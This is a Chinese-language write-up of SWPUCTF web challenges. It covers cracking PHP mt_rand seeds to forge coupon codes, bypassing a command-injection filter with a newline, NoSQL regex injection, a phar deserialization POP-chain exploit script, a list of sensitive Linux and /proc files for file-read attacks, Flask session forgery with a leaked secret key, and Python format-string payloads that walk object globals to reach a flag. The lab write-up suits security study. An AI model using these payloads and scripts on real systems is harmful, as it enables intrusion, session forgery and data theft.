swpuctf-web部分學習總結
1.用優惠碼 買個 X ?
(1)第一步:
這道題第一步主要知道利用php的隨機種子數洩露以後就可以利用該種子數來預測序列,而在題目中會返回15位的優惠碼,但是必須要24位的優惠碼,因此要根據15位的求出種子以後擴充套件到24位,這裡的優惠碼因為是字串形式的,所以需要整理成數字形式,也就是整理成方便 php_mt_seed 測試的格式。
<?php //生成優惠碼 $_SESSION['seed']=rand(0,999999999); function youhuima(){ mt_srand($_SESSION['seed']); $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";$auth=''; $len=15; for ( $i = 0; $i < $len; $i++ ){ if($i<=($len/2)) $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1); else $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1); } setcookie('Auth', $auth); } ?>
比如我們現在有一條優惠碼為:
youhuima = "hM7HljJR5ZHzWGF"
生成優惠碼的字串範圍為
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
此時我們可以利用已經有的優惠碼在字串中找到其對應的位置,也就是mt_rand的每一次的值,因為前8位都是一樣的生成方式,所以我們只需要利用前8位來爆破出種子就可以了,因為php每次呼叫mt_rand使用的種子都是一樣的。
因此利用以下程式碼還原優惠碼的位置,並按照php_mt_rand接受的形式生成:
When invoked with 4 numbers, the first 2 give the bounds for the first mt_rand() output and the second 2 give the range passed into mt_rand().
也就是說當包含4個數字時,前兩個應該是mt_rand生成的邊界值,後面兩個應該是mt_rand的取值範圍。
所以有以下程式碼:
<?php $str = "hM7HljJ"; #只需要7位 $randStr = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; for($i=0;$i<strlen($str);$i++){ $pos = strpos($randStr,$str[$i]); echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." "; //整理成方便 php_mt_seed 測試的格式 //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]] } echo "\n"; ?>
然後輸出為:
7 7 0 61 48 48 0 61 33 33 0 61 43 43 0 61 11 11 0 61 9 9 0 61 45 45 0 61
此時便可以執行php_mt_rand來爆破種子了:
此時有了種子,只要根據上面生成優惠碼的程式碼跑一次,生成長度為24的優惠碼就可以了,到此第一步完成,主要知道在我們沒有設定種子數的時候,php會我們自動播種,並且每次生成隨機數都用的是相同的種子,因此可以爆破種子。
(2)第二步:
這一步主要熟悉php的preg_match函式的bypass技巧
//support if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){ if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){ //執行命令 }else { //flag欄位和某些字元被過濾! } }else{ // 你的輸入不正確! }
這裡使用了/im也就是不區分大小寫並且使用多行匹配的模式,那麼在多行匹配中只要第一行滿足就會返回正確,所以只要使用多行來繞過就可以了,那麼我們只要在第一行滿足的情況下新增一個換行符然後後面拼接payload就可以了,也就是1.1.1.1%0a即可。
繞過第一層的過濾以後,第二層對一些命令和flag字串進行的過濾,並且不能大小寫繞過,並且也過濾了?和*這兩個萬用字元,因為已經知道flag在/下面,所以直接讀取:
可以以通過 f’la’g 或f[l][a]g等來繞過對flag的過濾,對檔案可以用more,less命令也都行,如果非要用cat,也可以使用繞過flag相同的方法,這裡我們使用grep -ri / flag* 就崩了,可能是查詢的太多。
2.injection ???
這道題主要考nosql的注入,首先資訊蒐集以下,發現info.php,一般在phpinfo中我們可以看到php開了哪些擴充套件,在這裡發現了mongodb,大膽猜測應該是php+mongodb,所以後面利用正則匹配出admin的密碼就可以了,沒啥好說的。
3.SimplePHP
以前一直懶,沒去看pop鏈的構造,剛好這次題目中有這個所以好好學習了一下。這道題主要考察的是phar的反序列以及pop鏈的構造,
利用phar檔案會以序列化的形式儲存使用者自定義的meta-data這一特性,拓展了php反序列化漏洞的攻擊面。
該方法在檔案系統函式(file_exists()、is_dir()等)引數可控的情況下,配合phar://偽協議,可以不依賴unserialize()直接進行反序列化操作。
這裡重點是可以不依賴unserialize()這個反序列化的函式,更加騷氣了。
有序列化資料必然會有反序列化操作,php一大部分的檔案系統函式在通過phar://偽協議解析phar檔案時,都會將meta-data進行反序列化,測試後受影響的函式如下:
這麼多函式都會通過phar進行反序列化操作,而我們的利用點需要滿足:
1.phar檔案要能夠上傳到伺服器端。
2.要有可用的魔術方法作為“跳板”。
3.檔案操作函式的引數可控,且:、/、phar等特殊字元沒有被過濾。
下面來分析以下題目已經有的資訊:
$file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); }
在這裡會對我們傳的file檔案呼叫file_exist()函式進行判斷是否存在,對照上圖可以發現這個函式的確存在漏洞,並且file是我們可以控制的。
那麼利用點有了,下面就需要構造利用鏈,也就是pop鏈的構造,所以先去看看定義了哪些類,
<?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
一共有三個類,因為要反序列化,所以要找到對物件進行反序列時會執行的函式,我們知道:
解構函式__destruct():當物件被銷燬時會自動呼叫。 __wakeup() :如前所提,unserialize()時會自動呼叫。
但是在可以利用的類中有show類中有__wakeup(),但是這只是一個過濾函式,其中只執行了賦值操作,沒有利用的價值。剩下的就是在C1e4r這個類中存在__destruct()函式,所以我們的pop鏈的入口就是C1e4r這個類了,但是這個類中:
class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
在執行反序列化以後只會輸出$this->test,還給了另外兩個類,肯定要關聯到另外兩個類,在show類中,存在__toString方法,所以只要令$this->test=show這個類的物件,就可以因為echo了show的物件而進一步呼叫
__toString()方法,因為我們最終需要訪問到flag.php檔案,所以必須有個讀檔案的函式,這裡在test類中定義了file_get_contens()函式
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } }
class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } }
只要讓$value為flag.php即可,那麼向上走,$value = $this->params[$key],而這個$params是test的屬性,key是get的引數,又是__get的引數,而__get這個函式是當訪問類的不存在的屬性或者私有屬性時自動呼叫的魔術方法,因此得構造一個test的物件,並且讓這個物件訪問一個test類中不存在的方法,此時只有看show這個類了,因為在__toString中存在$content = $this->str['str']->source;所以我們可以,我們可以讓str['str']為test類的物件,從而呼叫source來呼叫test類的__get方法,並且令test這個類物件的params的鍵為source,鍵的值為flag對應的絕對路徑。
exp如下:
<?php class C1e4r { public $test; public $str; } class Show { public $source; public $str; } class Test { public $file; public $params = array('source' => '/var/www/html/f1ag.php'); } $phar = new Phar("tr1ple.phar"); $phar->startBuffering(); $p1=new C1e4r(); $p2=new Show(); $p1->str=$p2; $p2->str['str']=new Test(); $phar->addFromString("tr1ple.txt", "success"); $phar->setMetadata($p1); $phar->stopBuffering();
pop鏈的構造就是通過類之間方法和屬性的聯絡將他們環環相扣,要找好每個類之間的連線點。在反序列化後,原本的物件所帶的屬性將全部恢復,並且可以正常的呼叫原有類中的方法。
3.皇家線上賭場
我覺得這道題目還是在考察對python的熟悉程度,以及對linux系統的熟悉程度,有些比賽的題目中通過將一些敏感資訊暴露在系統的配置檔案中來讓我們找,可能在真實的實戰環境中也可以通過系統或應用的配置資訊來得到一些可以利用的點。
系統通用的配置檔案有:
/etc/passwd /etc/my.cnf /etc/shadow /etc/sysconfig/network-scripts/ifcfg-eth0 ip地址 /etc/hosts 通常配置了一些內網域名
檔案讀取的情況下檔案讀取的情況下當然可以可以讀取proc目錄下的檔案來獲得更多系統的資訊。
/proc/sched_debug 提供cpu上正在執行的程序資訊,可以獲得程序的pid號,可以配合後面需要pid的利用 /proc/mounts 掛載的檔案系統列表 /proc/net/arp arp表,可以獲得內網其他機器的地址 /proc/net/route 路由表資訊 /proc/net/tcp and /proc/net/udp 活動連線的資訊 /proc/net/fib_trie 路由快取 /proc/version 核心版本 /proc/[PID]/cmdline 可能包含有用的路徑資訊 /proc/[PID]/environ 程式執行的環境變數資訊,可以用來包含getshell /proc/[PID]/cwd 當前程序的工作目錄 /proc/[PID]/fd/[#] 訪問file descriptors,某寫情況可以讀取到程序正在使用的檔案,比如access.log
而在這道題目中明視訊記憶體在檔案讀取的漏洞:
並且在題目中已經有給出的路徑樹以及tips:
if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1: return abort(404)
從tips中可以看到,如果我們訪問的路徑中存在/home/ctf/web/app的話就會返回404。
因此我們以此絕對路徑去bypass訪問web目錄中的檔案,這裡又要用道python的一個trick,os.path.join
函式的一個特性:引數中的絕對路徑引數前面的所有引數會被忽略
所以此時就需要利用/proc目錄下的檔案
當訪問/proc/self/environ時,會返回如下所示:
當訪問/etc/passwd的時候,會返回如下所示:
而通過/proc/self/maps
可以看到web路徑,但是並不能通過此web路徑來直接訪問檔案,後面出題人說是禁止了直接訪問,此時就要用到上面說的其中一條:
/proc/[pid]/cwd是程序當前工作目錄的符號連結
因為前面已經出現過os.path.join('app/static', filename),所以當前路徑就是原始碼所在的路徑,所以/proc/self/cwd/app/views.py,就能夠讀到檔案,把能讀的都讀一遍,能讀到原始碼的話,flask的題目肯定拿到secret key就可以偽造session了。
這裡偽造session也是有點坑,因為題目的環境是python3.5寫的,所以用python2偽造的session無法通過,需要用python3的環境才行,不要一味的相信工具。
下面是出題人給的exp:
from flask.sessions import SecureCookieSessionInterface class App(object): secret_key = '9f516783b42730b7888008dd5c15fe66' s = SecureCookieSessionInterface().get_signing_serializer(App()) u = s.loads('eyJjc3JmX3Rva2VuIjoiMzgyMWRlNmFlMTRmNjc2NjU0YWNhMjZjYTQ1MzY4Y2Y3NjI2MzI1NSJ9.XBpHyw.9S0EAg9_yQKg7D3xqPp08eMIeH8') print(u) u['username'] = 'admin' print(s.dumps(u))
使用python3執行以後,出來的sesion就可以通過伺服器端的校驗,這裡只需要偽造username這一個欄位就可以了,其他的服務端不作為身份校驗,到此以admin登陸以後第一步就完成了,接下來是第二步:
格式化字串攻擊:
前置知識:
從python2.6開始,就有了用format來格式化字串的新特性,它可以通過{}來確定出字串格式的位置和關鍵字引數,並且隨時可以顯式對資料項重新排序。此外,它甚至可以訪問物件的屬性和資料項——這是導致這裡的安全問題的根本原因。
這裡貼兩個大佬的記錄連結:
1.https://github.com/bit4woo/code2sec.com/blob/master/Python%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E5%AE%9E%E8%B7%B5.md
2.https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
看了大佬寫的文章以後,我覺得這個漏洞主要還是攻擊者能夠控制format的結果,從而通過當前環境可以訪問到的物件,比如user,order(必須是使用到的)等等,比如Django中request.user
是當前使用者物件,這個物件包含一個屬性password
,也就是該使用者的密碼。通過這些物件來構造一條屬性鏈到達一些全域性的配置資訊物件比如settings或其他敏感配置項,進而越權訪問一些環境中的配置資訊和敏感資訊,回到題目中:
__init__.py的程式碼如下
from .app import Flask, Request, Response from .config import Config from .helpers import url_for, flash, send_file, send_from_directory, get_flashed_messages, get_template_attribute, make_response, safe_join, stream_with_context from .globals import current_app, g, request, session, _request_ctx_stack, _app_ctx_stack
可以看到current_app和g在同一個名稱空間下,我們這裡需要學習下g是啥:
### 儲存全域性變數的g屬性: g:global 1. g物件是專門用來儲存使用者的資料的。 2. g物件在一次請求中的所有的程式碼的地方,都是可以使用的。
getflag的路由如下,在我們登陸後
@app.route('/getflag', methods=('POST',)) @login_required def getflag(): u = getattr(g, 'u') if not u or u.balance < 1000000: return '{"s": -1, "msg": "error"}' field = request.form.get('field', 'username') mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest() jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}' return jdata.format(field, g.u, mhash)
其中getattr函式是獲取當前物件的屬性,也就是獲取g物件的u這個屬性,當登陸以後,u.balance>1000000以後就會呼叫request.form.get函式來獲取field和username引數的值,為post方法。
接下來就會進行format,format為
'{{{field}:{g.u.field},hash: {mhash}}}'
這裡format有三個點,0,1,2,我們可以控制的點有1後面,有大佬測試了field,也就是跟在g.u之後,借用他的圖,field=__class__,也就是g.u.__class__
顯示為app.models.User,說明類的繼承為user->models->app,所以應該先向上到models再到app,再讀g.flag,出題人提示了方法,所以可以直接使用
__class__.save.__globals__[db].__class__.__init__.__globals__
當到了這一步的時候,已經可以獲取到current_app這個類,它也就是flask的app了,因此到達這裡就到達鏈條的頂端了,然後就向下找flag
可以看到app.before_request下面存在g,因此就可以通過current這個類來點用它來訪問g.flag,完整的payload
field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag
因為flag在g這個全域性的物件下面,所以我們才能這樣訪問,先找g,再在g這個空間中去找flag
save.__globals__[db].__init__.__globals__[request].application.__self__._get_data_for_json.__globals__[current_app]._get_exc_class_and_code.__globals__[find_package].__globals__[_app_ctx_stack].top.g.flag
運用指令碼尋找繼承鏈:
這個指令碼是從python的request這個物件開始找,我們模擬將flag放在g的空間下,那麼指令碼就會自動利用python中自帶的類或物件去尋找g.flag
import flask import os from flask import request from flask import g from flask import config app = flask.Flask(__name__) def search(obj, max_depth): visited_clss = [] visited_objs = [] def visit(obj, path='obj', depth=0): yield path, obj if depth == max_depth: return elif isinstance(obj, (int, float, bool, str, bytes)): return elif isinstance(obj, type): if obj in visited_clss: return visited_clss.append(obj) print(obj) else: if obj in visited_objs: return visited_objs.append(obj) # attributes for name in dir(obj): if name.startswith('__') and name.endswith('__'): if name not in ('__globals__', '__class__', '__self__', '__weakref__', '__objclass__', '__module__'): continue attr = getattr(obj, name) yield from visit(attr, '{}.{}'.format(path, name), depth + 1) # dict values if hasattr(obj, 'items') and callable(obj.items): try: for k, v in obj.items(): yield from visit(v, '{}[{}]'.format(path, repr(k)), depth) except: pass # items elif isinstance(obj, (set, list, tuple, frozenset)): for i, v in enumerate(obj): yield from visit(v, '{}[{}]'.format(path, repr(i)), depth) yield from visit(obj) @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/') def shrine(): g.flag = 'flag{}' for path, obj in search(request, 10): if obj == g.flag: return path if __name__ == '__main__': app.run(debug=True)